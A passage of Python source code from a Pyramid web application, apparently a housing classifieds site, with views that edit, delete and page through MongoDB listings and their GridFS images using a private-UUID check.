\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n\n\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# Modify\n@view_defaults(route_name='housing_modifyPost1')\nclass HousingModifyPostViews(object):\n def __init__(self, request):\n self.request = request\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/housing_templates/housing_modifyPost1.pt')\n def housing_modifyPost1(self):\n return {'user_warning': ''}\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Handler method for modifyPost1 page form field input validation for edit mode\n # Redirect to modifyPost2 page if valid private uuid was given, else throw error.\n @view_config(request_method='POST', request_param='housing_modify1_editButton', renderer='templates/housing_templates/housing_modifyPost1.pt')\n def housing_modifyPost1_update_handler(self):\n from pyramid.renderers import render\n from pyramid.response import Response\n from pyramid.httpexceptions import HTTPFound\n import pymongo\n from pymongo import MongoClient\n from bson import ObjectId\n from uuid import UUID\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called housing_text_collection\n text_collection= db.housing_text_collection\n\n\n housing_update_privateUUID = self.request.params['housing_modify1_privateUUID']\n\n try:\n text_collection.find_one({'Private UUID': UUID(housing_update_privateUUID)})\n result1 = render('templates/housing_templates/housing_modifyPost2.pt' , {'private_UUID': housing_update_privateUUID, 'user_warning': ''}, request=self.request)\n return Response(result1)\n\n except:\n # Re-render form page and throw an error message saying \"Invalid Private UUID entered!!\"\n return {'user_warning': 'Invalid Private UUID entered!!'}\n\n client.close()\n \n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Handler method for modifyPost1 page form field input validation for delete mode\n @view_config(request_method='POST', request_param='housing_modify1_deleteButton', renderer='templates/housing_templates/housing_modifyPost1.pt')\n def housing_modifyPost1_delete_handler(self):\n from pyramid.renderers import render\n from pyramid.response import Response\n from pyramid.httpexceptions import HTTPFound\n import pymongo\n from pymongo import MongoClient\n from bson import ObjectId\n from uuid import UUID\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called housing_text_collection\n text_collection= db.housing_text_collection\n\n\n # Perform CRUD operation on images\n import gridfs\n from gridfs import GridFS\n\n # Creating or getting an housing gridfs collection called 'housing_images_collection'\n # (Getting the GridFS object)\n image_collection = GridFS(db, \"housing_images_collection\")\n\n\n housing_delete_privateUUID = self.request.params['housing_modify1_privateUUID']\n\n # # Delete operation................................................................................\n # Perform a find() query operation on a document using the private UUID for delete permision,\n # and then obtain its \"_id\" field.\n\n try:\n # Delete operation on the main text collection initialisation\n res0 = text_collection.find_one({'Private UUID': UUID(housing_delete_privateUUID)})\n res1 = res0['_id'] # Obtaining the '_id' attribute diff from that of gridfs\n\n # Delete operation On image collection\n # Obtain the '_id' values each on all images from the image collection\n # then perform the delete and/or replacement operation\n\n # Delete images in collection first before deleting the actual collection\n image_names_list_toDelete = res0['Images']\n\n for name in image_names_list_toDelete:\n res2 = image_collection.find_one({'filename': name})\n res3 = res2._id # Obtaining the '_id' attribute\n image_collection.delete(ObjectId(res3)) # Delete format for files in gridfs\n\n # text collection delete\n text_collection.delete_one({'_id': ObjectId(res1)})\n client.close()\n\n body = (\n \"\"\n \"\"\n \"\"\n \"

Thanks for using our service, your post has been deleted successfully!! \"\n \"
\"\n \"You will be redirected shortly.

\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n except:\n # Re-render form page and throw an error message saying \"Invalid Private UUID entered!!\"\n return {'user_warning': 'Invalid Private UUID entered!!'}\n\n\n\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # # response for modifyPost1 page, return this page if correct params were given in modifyPost1 page.\n @view_config(route_name='housing_modifyPost2', renderer='templates/housing_templates/housing_modifyPost2.pt')\n def housing_modifyPost2(self):\n return {}\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Perform operation on query params from modifyPost2 page,\n # return values and give the user a Response after creation of a new post\n @view_config(request_method='POST', request_param='housing_update_submitButton')\n def housing_modifyPost2_response(self):\n # -----------------------------------------------------------------------------------------------------------------\n # Updating and deleting records in database\n from pyramid.response import Response\n from pyramid.httpexceptions import HTTPFound\n import pymongo\n from pymongo import MongoClient\n from bson import ObjectId\n from uuid import UUID\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called housing_text_collection\n text_collection= db.housing_text_collection\n\n\n # Perform CRUD operation on images\n import gridfs\n from gridfs import GridFS\n\n # Creating or getting an housing gridfs collection called 'housing_images_collection'\n # (Getting the GridFS object)\n image_collection = GridFS(db, \"housing_images_collection\")\n\n\n # Perform CRUD Operation\n # Get specific date\n import datetime\n housing_update_dateTime = datetime.datetime.utcnow()\n\n housing_resAPI_json = {\n \"Username\": \"\",\n \"State\": \"\",\n \"City\": \"\",\n \"Description\": \"\",\n \"Mobile\": \"\",\n \"Email\": \"\",\n \"Category\": \"\",\n \"Condition\": \"\",\n \"Images\": [],\n \"date\": \"\",\n }\n\n #######################\n # Collect variables from form fields\n #######################\n\n # Get text items from form page\n housing_update_username = self.request.params['housing_update_username']\n housing_update_statesList = self.request.params['housing_update_statesList']\n housing_update_city = self.request.params['housing_update_city']\n housing_update_textarea = self.request.params['housing_update_textarea']\n housing_update_mobile = self.request.params['housing_update_mobile']\n housing_update_email = self.request.params['housing_update_email']\n housing_update_category = self.request.params['housing_update_category']\n housing_update_condition = self.request.params['housing_update_condition']\n \n # Get images from form page\n housing_update_images = self.request.POST.getall('housing_update_images')\n\n # Use this for our rest API insertion operation\n housing_update_images_names_list = []\n for housing_update_image_name in housing_update_images:\n housing_update_images_names_list.append(housing_update_image_name.filename)\n\n # use this for gridFS insertion operation\n housing_update_images_list = []\n for housing_update_image in housing_update_images:\n housing_update_images_list.append(housing_update_image)\n\n\n\n housing_resAPI_json[\"Username\"] = housing_update_username\n housing_resAPI_json[\"State\"] = housing_update_statesList\n housing_resAPI_json[\"City\"] = housing_update_city\n housing_resAPI_json[\"Description\"] = housing_update_textarea\n housing_resAPI_json[\"Mobile\"] = housing_update_mobile\n housing_resAPI_json[\"Email\"] = housing_update_email\n housing_resAPI_json[\"Category\"] = housing_update_category\n housing_resAPI_json[\"Condition\"] = housing_update_condition\n housing_resAPI_json[\"Images\"] = housing_update_images_names_list\n housing_resAPI_json[\"date\"] = housing_update_dateTime\n\n\n\n\n # Update operation.........................................................................\n # Update API in database and close our connected client's connection\n # Perform a find() query operation on a document using the private UUID to locate the particular document,\n # and then obtain its \"_id\" field.\n housing_update_privateUUID = self.request.params['housing_update_privateUUID']\n\n # Inititalise overall collection query using the text collection\n res1 = text_collection.find_one({'Private UUID': UUID(housing_update_privateUUID)})\n res2 = res1['_id'] # Obtaining the '_id' attribute diff from that of gridfs\n\n\n # Before inserting files, query for previous images previously inside database,\n # delete all images there and replace/update with the new one.\n\n # Obtain the '_id' values each on all images from the image collection\n # then perform the delete operation followed by the replacement operation\n image_names_list_toDelete = res1['Images']\n\n # Delete images already present first before updating the main collection\n # delete image collection\n for name in image_names_list_toDelete:\n res3 = image_collection.find_one({'filename': name})\n res4 = res3._id # Obtaining the '_id' attribute\n image_collection.delete(ObjectId(res4)) # Delete format for files in gridfs\n\n\n # Main text collection update\n text_collection.update_one({'_id': ObjectId(res2)}, {\"$set\": housing_resAPI_json})\n\n # then also update the image collection with the new images\n for image in housing_update_images_list:\n image_collection.put(image.file, filename=image.filename) # The update operation\n\n \n\n # Close our database connection and free up resources.\n client.close()\n\n body = (\n \"\"\n \"\"\n \"\"\n \"

Thanks for using our service, your post has been updated successfully!! \"\n \"
\"\n \"You will be redirected shortly.

\"\n \"\"\n \"\"\n )\n\n return Response(body)\n\n\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# View products\n@view_defaults(route_name='housing_viewProducts1')\nclass HousingViewProductsViews(object):\n def __init__(self, request):\n self.request = request\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/housing_templates/housing_viewProducts1.pt')\n def housing_viewProducts1(self):\n return {}\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # Response from viewProducts1 page and validate with records in database \n @view_config(request_method='POST', request_param='housing_view_submit')\n def housing_viewProducts2_page1A(self):\n from pyramid.httpexceptions import HTTPFound\n # Perform some database matching on sub categories and redirect to the appropriate renderer.\n return HTTPFound(location='housing_viewProducts2_page1')\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='housing_viewProducts2_page1', renderer='templates/housing_templates/housing_viewProducts2_page1.pt')\n def housing_viewProducts2_page1B(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client1 = MongoClient('%s' % connection_string)\n db = client1.spacenetng_database\n\n # Create or open a text based records collection called housing_text_collection\n text_collection_housing = db.housing_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an housing gridfs collection called 'housing_images_collection'\n # (Getting the GridFS object)\n image_collection_housing = GridFS(db, \"housing_images_collection\")\n\n # Retrieve document record from database operation\n housing_collection = text_collection_housing.find().sort([(\"_id\", pymongo.DESCENDING)]).limit(5) #This returns 25 records\n\n # Push documents into a list\n housing_collection_list = []\n\n for record in housing_collection:\n housing_collection_list.append(record)\n\n document1 = housing_collection_list[0]\n document2 = housing_collection_list[1]\n document3 = housing_collection_list[2]\n document4 = housing_collection_list[3]\n document5 = housing_collection_list[4]\n \n\n # Extracting images\n # The images for document1\n document1_images_list_rawFile = []\n for image_name in document1[\"Images\"]:\n document1_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # For the images for document2\n document2_images_list_rawFile = []\n for image_name in document2[\"Images\"]:\n document2_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document3\n document3_images_list_rawFile = []\n for image_name in document3[\"Images\"]:\n document3_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document4\n document4_images_list_rawFile = []\n for image_name in document4[\"Images\"]:\n document4_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document5\n document5_images_list_rawFile = []\n for image_name in document5[\"Images\"]:\n document5_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document1\n #######################\n\n # For the text strings,\n housing_collection_document1_productID = document1[\"Product ID\"]\n housing_collection_document1_username = document1[\"Username\"]\n housing_collection_document1_state = document1[\"State\"]\n housing_collection_document1_city = document1[\"City\"]\n housing_collection_document1_description = document1[\"Description\"]\n housing_collection_document1_mobile = document1[\"Mobile\"]\n housing_collection_document1_email = document1[\"Email\"]\n housing_collection_document1_category = document1[\"Category\"]\n housing_collection_document1_condition = document1[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document1_images_UTF8_list = []\n\n for raw_image in document1_images_list_rawFile:\n document1_binaryImage = raw_image.read()\n document1_base64Image = codecs.encode(document1_binaryImage, 'base64')\n document1_UTF8Image = document1_base64Image.decode('utf-8')\n document1_images_UTF8_list.append(document1_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document1_imageA = document1_images_UTF8_list[0]\n\n try:\n housing_collection_document1_imageB = document1_images_UTF8_list[1]\n except:\n housing_collection_document1_imageB = document1_images_UTF8_list[0]\n\n try:\n housing_collection_document1_imageC = document1_images_UTF8_list[2]\n except:\n housing_collection_document1_imageC = document1_images_UTF8_list[0]\n\n try:\n housing_collection_document1_imageD = document1_images_UTF8_list[3]\n except:\n housing_collection_document1_imageD = document1_images_UTF8_list[0] \n \n try:\n housing_collection_document1_imageE = document1_images_UTF8_list[4]\n except:\n housing_collection_document1_imageE = document1_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document2\n #######################\n\n # For the text strings,\n housing_collection_document2_productID = document2[\"Product ID\"]\n housing_collection_document2_username = document2[\"Username\"]\n housing_collection_document2_state = document2[\"State\"]\n housing_collection_document2_city = document2[\"City\"]\n housing_collection_document2_description = document2[\"Description\"]\n housing_collection_document2_mobile = document2[\"Mobile\"]\n housing_collection_document2_email = document2[\"Email\"]\n housing_collection_document2_category = document2[\"Category\"]\n housing_collection_document2_condition = document2[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document2_images_UTF8_list = []\n\n for raw_image in document2_images_list_rawFile:\n document2_binaryImage = raw_image.read()\n document2_base64Image = codecs.encode(document2_binaryImage, 'base64')\n document2_UTF8Image = document2_base64Image.decode('utf-8')\n document2_images_UTF8_list.append(document2_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document2_imageA = document2_images_UTF8_list[0]\n\n try:\n housing_collection_document2_imageB = document2_images_UTF8_list[1]\n except:\n housing_collection_document2_imageB = document2_images_UTF8_list[0]\n\n try:\n housing_collection_document2_imageC = document2_images_UTF8_list[2]\n except:\n housing_collection_document2_imageC = document2_images_UTF8_list[0]\n\n try:\n housing_collection_document2_imageD = document2_images_UTF8_list[3]\n except:\n housing_collection_document2_imageD = document2_images_UTF8_list[0] \n \n try:\n housing_collection_document2_imageE = document2_images_UTF8_list[4]\n except:\n housing_collection_document2_imageE = document2_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document3\n #######################\n\n # For the text strings,\n housing_collection_document3_productID = document3[\"Product ID\"]\n housing_collection_document3_username = document3[\"Username\"]\n housing_collection_document3_state = document3[\"State\"]\n housing_collection_document3_city = document3[\"City\"]\n housing_collection_document3_description = document3[\"Description\"]\n housing_collection_document3_mobile = document3[\"Mobile\"]\n housing_collection_document3_email = document3[\"Email\"]\n housing_collection_document3_category = document3[\"Category\"]\n housing_collection_document3_condition = document3[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document3_images_UTF8_list = []\n\n for raw_image in document3_images_list_rawFile:\n document3_binaryImage = raw_image.read()\n document3_base64Image = codecs.encode(document3_binaryImage, 'base64')\n document3_UTF8Image = document3_base64Image.decode('utf-8')\n document3_images_UTF8_list.append(document3_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document3_imageA = document3_images_UTF8_list[0]\n\n try:\n housing_collection_document3_imageB = document3_images_UTF8_list[1]\n except:\n housing_collection_document3_imageB = document3_images_UTF8_list[0]\n\n try:\n housing_collection_document3_imageC = document3_images_UTF8_list[2]\n except:\n housing_collection_document3_imageC = document3_images_UTF8_list[0]\n\n try:\n housing_collection_document3_imageD = document3_images_UTF8_list[3]\n except:\n housing_collection_document3_imageD = document3_images_UTF8_list[0] \n \n try:\n housing_collection_document3_imageE = document3_images_UTF8_list[4]\n except:\n housing_collection_document3_imageE = document3_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document4\n #######################\n\n # For the text strings,\n housing_collection_document4_productID = document4[\"Product ID\"]\n housing_collection_document4_username = document4[\"Username\"]\n housing_collection_document4_state = document4[\"State\"]\n housing_collection_document4_city = document4[\"City\"]\n housing_collection_document4_description = document4[\"Description\"]\n housing_collection_document4_mobile = document4[\"Mobile\"]\n housing_collection_document4_email = document4[\"Email\"]\n housing_collection_document4_category = document4[\"Category\"]\n housing_collection_document4_condition = document4[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document4_images_UTF8_list = []\n\n for raw_image in document4_images_list_rawFile:\n document4_binaryImage = raw_image.read()\n document4_base64Image = codecs.encode(document4_binaryImage, 'base64')\n document4_UTF8Image = document4_base64Image.decode('utf-8')\n document4_images_UTF8_list.append(document4_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document4_imageA = document4_images_UTF8_list[0]\n\n try:\n housing_collection_document4_imageB = document4_images_UTF8_list[1]\n except:\n housing_collection_document4_imageB = document4_images_UTF8_list[0]\n\n try:\n housing_collection_document4_imageC = document4_images_UTF8_list[2]\n except:\n housing_collection_document4_imageC = document4_images_UTF8_list[0]\n\n try:\n housing_collection_document4_imageD = document4_images_UTF8_list[3]\n except:\n housing_collection_document4_imageD = document4_images_UTF8_list[0] \n \n try:\n housing_collection_document4_imageE = document4_images_UTF8_list[4]\n except:\n housing_collection_document4_imageE = document4_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document5\n #######################\n\n # For the text strings,\n housing_collection_document5_productID = document5[\"Product ID\"]\n housing_collection_document5_username = document5[\"Username\"]\n housing_collection_document5_state = document5[\"State\"]\n housing_collection_document5_city = document5[\"City\"]\n housing_collection_document5_description = document5[\"Description\"]\n housing_collection_document5_mobile = document5[\"Mobile\"]\n housing_collection_document5_email = document5[\"Email\"]\n housing_collection_document5_category = document5[\"Category\"]\n housing_collection_document5_condition = document5[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document5_images_UTF8_list = []\n\n for raw_image in document5_images_list_rawFile:\n document5_binaryImage = raw_image.read()\n document5_base64Image = codecs.encode(document5_binaryImage, 'base64')\n document5_UTF8Image = document5_base64Image.decode('utf-8')\n document5_images_UTF8_list.append(document5_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document5_imageA = document5_images_UTF8_list[0]\n\n try:\n housing_collection_document5_imageB = document5_images_UTF8_list[1]\n except:\n housing_collection_document5_imageB = document5_images_UTF8_list[0]\n\n try:\n housing_collection_document5_imageC = document5_images_UTF8_list[2]\n except:\n housing_collection_document5_imageC = document5_images_UTF8_list[0]\n\n try:\n housing_collection_document5_imageD = document5_images_UTF8_list[3]\n except:\n housing_collection_document5_imageD = document5_images_UTF8_list[0] \n \n try:\n housing_collection_document5_imageE = document5_images_UTF8_list[4]\n except:\n housing_collection_document5_imageE = document5_images_UTF8_list[0]\n\n \n # Close our database connection and free up resources.\n client1.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return {\n \n 'productID1' : housing_collection_document1_productID,\n 'username1' : housing_collection_document1_username,\n 'state1' : housing_collection_document1_state,\n 'city1' : housing_collection_document1_city,\n 'description1' : housing_collection_document1_description,\n 'mobile1' : housing_collection_document1_mobile,\n 'email1' : housing_collection_document1_email,\n 'category1' : housing_collection_document1_category,\n 'condition1': housing_collection_document1_condition,\n 'image1A' : housing_collection_document1_imageA,\n 'image1B' : housing_collection_document1_imageB,\n 'image1C' : housing_collection_document1_imageC,\n 'image1D': housing_collection_document1_imageD,\n 'image1E': housing_collection_document1_imageE,\n\n 'productID2' : housing_collection_document2_productID,\n 'username2' : housing_collection_document2_username,\n 'state2' : housing_collection_document2_state,\n 'city2' : housing_collection_document2_city,\n 'description2' : housing_collection_document2_description,\n 'mobile2' : housing_collection_document2_mobile,\n 'email2' : housing_collection_document2_email,\n 'category2' : housing_collection_document2_category,\n 'condition2': housing_collection_document2_condition,\n 'image2A' : housing_collection_document2_imageA,\n 'image2B' : housing_collection_document2_imageB,\n 'image2C' : housing_collection_document2_imageC,\n 'image2D': housing_collection_document2_imageD,\n 'image2E': housing_collection_document2_imageE,\n\n 'productID3' : housing_collection_document3_productID,\n 'username3' : housing_collection_document3_username,\n 'state3' : housing_collection_document3_state,\n 'city3' : housing_collection_document3_city,\n 'description3' : housing_collection_document3_description,\n 'mobile3' : housing_collection_document3_mobile,\n 'email3' : housing_collection_document3_email,\n 'category3' : housing_collection_document3_category,\n 'condition3': housing_collection_document3_condition,\n 'image3A' : housing_collection_document3_imageA,\n 'image3B' : housing_collection_document3_imageB,\n 'image3C' : housing_collection_document3_imageC,\n 'image3D': housing_collection_document3_imageD,\n 'image3E': housing_collection_document3_imageE,\n\n 'productID4' : housing_collection_document4_productID,\n 'username4' : housing_collection_document4_username,\n 'state4' : housing_collection_document4_state,\n 'city4' : housing_collection_document4_city,\n 'description4' : housing_collection_document4_description,\n 'mobile4' : housing_collection_document4_mobile,\n 'email4' : housing_collection_document4_email,\n 'category4' : housing_collection_document4_category,\n 'condition4': housing_collection_document4_condition,\n 'image4A' : housing_collection_document4_imageA,\n 'image4B' : housing_collection_document4_imageB,\n 'image4C' : housing_collection_document4_imageC,\n 'image4D': housing_collection_document4_imageD,\n 'image4E': housing_collection_document4_imageE,\n\n 'productID5' : housing_collection_document5_productID,\n 'username5' : housing_collection_document5_username,\n 'state5' : housing_collection_document5_state,\n 'city5' : housing_collection_document5_city,\n 'description5' : housing_collection_document5_description,\n 'mobile5' : housing_collection_document5_mobile,\n 'email5' : housing_collection_document5_email,\n 'category5' : housing_collection_document5_category,\n 'condition5': housing_collection_document5_condition,\n 'image5A' : housing_collection_document5_imageA,\n 'image5B' : housing_collection_document5_imageB,\n 'image5C' : housing_collection_document5_imageC,\n 'image5D': housing_collection_document5_imageD,\n 'image5E': housing_collection_document5_imageE,\n }\n\n\n # View pages....(n)\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='housing_viewProducts2_page2', renderer='templates/housing_templates/housing_viewProducts2_page2.pt')\n def housing_viewProducts2_page2(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client2 = MongoClient('%s' % connection_string)\n db = client2.spacenetng_database\n\n # Create or open a text based records collection called housing_text_collection\n text_collection_housing = db.housing_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an housing gridfs collection called 'housing_images_collection'\n # (Getting the GridFS object)\n image_collection_housing = GridFS(db, \"housing_images_collection\")\n\n # Retrieve document record from database operation\n housing_collection = text_collection_housing.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(5).limit(5) #This returns 25 records\n\n # Push documents into a list\n housing_collection_list = []\n\n for record in housing_collection:\n housing_collection_list.append(record)\n\n document6 = housing_collection_list[0]\n document7 = housing_collection_list[1]\n document8 = housing_collection_list[2]\n document9 = housing_collection_list[3]\n document10 = housing_collection_list[4]\n\n\n\n # The images for document6\n document6_images_list_rawFile = []\n for image_name in document6[\"Images\"]:\n document6_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document7\n document7_images_list_rawFile = []\n for image_name in document7[\"Images\"]:\n document7_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document8\n document8_images_list_rawFile = []\n for image_name in document8[\"Images\"]:\n document8_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document9\n document9_images_list_rawFile = []\n for image_name in document9[\"Images\"]:\n document9_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n # The images for document10\n document10_images_list_rawFile = []\n for image_name in document10[\"Images\"]:\n document10_images_list_rawFile.append(image_collection_housing.get_last_version(filename=image_name))\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document6\n #######################\n\n # For the text strings,\n housing_collection_document6_productID = document6[\"Product ID\"]\n housing_collection_document6_username = document6[\"Username\"]\n housing_collection_document6_state = document6[\"State\"]\n housing_collection_document6_city = document6[\"City\"]\n housing_collection_document6_description = document6[\"Description\"]\n housing_collection_document6_mobile = document6[\"Mobile\"]\n housing_collection_document6_email = document6[\"Email\"]\n housing_collection_document6_category = document6[\"Category\"]\n housing_collection_document6_condition = document6[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document6_images_UTF8_list = []\n\n for raw_image in document6_images_list_rawFile:\n document6_binaryImage = raw_image.read()\n document6_base64Image = codecs.encode(document6_binaryImage, 'base64')\n document6_UTF8Image = document6_base64Image.decode('utf-8')\n document6_images_UTF8_list.append(document6_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document6_imageA = document6_images_UTF8_list[0]\n\n try:\n housing_collection_document6_imageB = document6_images_UTF8_list[1]\n except:\n housing_collection_document6_imageB = document6_images_UTF8_list[0]\n\n try:\n housing_collection_document6_imageC = document6_images_UTF8_list[2]\n except:\n housing_collection_document6_imageC = document6_images_UTF8_list[0]\n\n try:\n housing_collection_document6_imageD = document6_images_UTF8_list[3]\n except:\n housing_collection_document6_imageD = document6_images_UTF8_list[0] \n \n try:\n housing_collection_document6_imageE = document6_images_UTF8_list[4]\n except:\n housing_collection_document6_imageE = document6_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document7\n #######################\n\n # For the text strings,\n housing_collection_document7_productID = document7[\"Product ID\"]\n housing_collection_document7_username = document7[\"Username\"]\n housing_collection_document7_state = document7[\"State\"]\n housing_collection_document7_city = document7[\"City\"]\n housing_collection_document7_description = document7[\"Description\"]\n housing_collection_document7_mobile = document7[\"Mobile\"]\n housing_collection_document7_email = document7[\"Email\"]\n housing_collection_document7_category = document7[\"Category\"]\n housing_collection_document7_condition = document7[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document7_images_UTF8_list = []\n\n for raw_image in document7_images_list_rawFile:\n document7_binaryImage = raw_image.read()\n document7_base64Image = codecs.encode(document7_binaryImage, 'base64')\n document7_UTF8Image = document7_base64Image.decode('utf-8')\n document7_images_UTF8_list.append(document7_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document7_imageA = document7_images_UTF8_list[0]\n\n try:\n housing_collection_document7_imageB = document7_images_UTF8_list[1]\n except:\n housing_collection_document7_imageB = document7_images_UTF8_list[0]\n\n try:\n housing_collection_document7_imageC = document7_images_UTF8_list[2]\n except:\n housing_collection_document7_imageC = document7_images_UTF8_list[0]\n\n try:\n housing_collection_document7_imageD = document7_images_UTF8_list[3]\n except:\n housing_collection_document7_imageD = document7_images_UTF8_list[0] \n \n try:\n housing_collection_document7_imageE = document7_images_UTF8_list[4]\n except:\n housing_collection_document7_imageE = document7_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document8\n #######################\n\n # For the text strings,\n housing_collection_document8_productID = document8[\"Product ID\"]\n housing_collection_document8_username = document8[\"Username\"]\n housing_collection_document8_state = document8[\"State\"]\n housing_collection_document8_city = document8[\"City\"]\n housing_collection_document8_description = document8[\"Description\"]\n housing_collection_document8_mobile = document8[\"Mobile\"]\n housing_collection_document8_email = document8[\"Email\"]\n housing_collection_document8_category = document8[\"Category\"]\n housing_collection_document8_condition = document8[\"Condition\"]\n\n \n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document8_images_UTF8_list = []\n\n for raw_image in document8_images_list_rawFile:\n document8_binaryImage = raw_image.read()\n document8_base64Image = codecs.encode(document8_binaryImage, 'base64')\n document8_UTF8Image = document8_base64Image.decode('utf-8')\n document8_images_UTF8_list.append(document8_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n housing_collection_document8_imageA = document8_images_UTF8_list[0]\n\n try:\n housing_collection_document8_imageB = document8_images_UTF8_list[1]\n except:\n housing_collection_document8_imageB = document8_images_UTF8_list[0]\n\n try:\n housing_collection_document8_imageC = document8_images_UTF8_list[2]\n except:\n housing_collection_document8_imageC = document8_images_UTF8_list[0]\n\n try:\n housing_collection_document8_imageD = document8_images_UTF8_list[3]\n except:\n housing_collection_document8_imageD = document8_images_UTF8_list[0] \n \n try:\n housing_collection_document8_imageE = document8_images_UTF8_list[4]\n except:\n housing_collection_document8_imageE = document8_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document9\n #######################\n\n # For the text strings,\n housing_collection_document9_productID = document9[\"Product ID\"]\n housing_collection_document9_username = document9[\"Username\"]\n housing_collection_document9_state = document9[\"State\"]\n housing_collection_document9_city = document9[\"City\"]\n housing_collection_document9_description = document9[\"Description\"]\n housing_collection_document9_mobile = document9[\"Mobile\"]\n housing_collection_document9_email = document9[\"Email\"]\n housing_collection_document9_category = document9[\"Category\"]\n housing_collection_document9_condition = document9[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n 